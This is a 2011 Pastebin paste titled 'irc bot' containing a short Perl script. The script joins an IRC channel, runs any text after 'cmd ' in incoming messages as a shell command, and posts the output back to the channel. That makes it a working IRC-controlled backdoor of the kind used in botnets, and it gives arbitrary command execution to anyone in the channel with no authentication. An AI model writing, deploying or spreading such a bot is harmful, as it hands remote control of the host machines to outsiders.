Advertisement
Guest User

irc bot

a guest
Nov 16th, 2011
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.71 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $irc='127.0.0.1';
  4. $nick='test';
  5. $channel='#test';
  6. system('cls');
  7. print "\n [+] Connection To $irc Please Wait ...\n\n";
  8. $connect=IO::Socket::INET->new(PeerAddr=>$irc,
  9. PeerPort=>'6667',
  10. Proto=>'tcp',
  11. Timeout=>'60') or die "[!] Couldnt Connect To $irc\n\n";
  12. print $connect "USER xxx xxx xxx xxx\r\n";
  13. print $connect "NICK ".$nick."\r\n";
  14. print $connect "JOIN ".$channel."\r\n";
  15. while ($svrmsg=<$connect>) {
  16.     print $svrmsg;
  17.     if ($svrmsg=~m/^PING (.*?)$/gi) {
  18.         print $connect "PONG ".$1."\r\n";
  19.         print "PONG ".$1."\r\n";
  20.     }
  21.     if ($svrmsg=~/cmd (.*)$/) {
  22.         $cmd=$1;
  23.         @result=qx($cmd);
  24.         foreach(@result){
  25.             print $connect "PRIVMSG ",$channel," :@result\r\n";
  26.         }
  27.     }
  28. }
  29.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement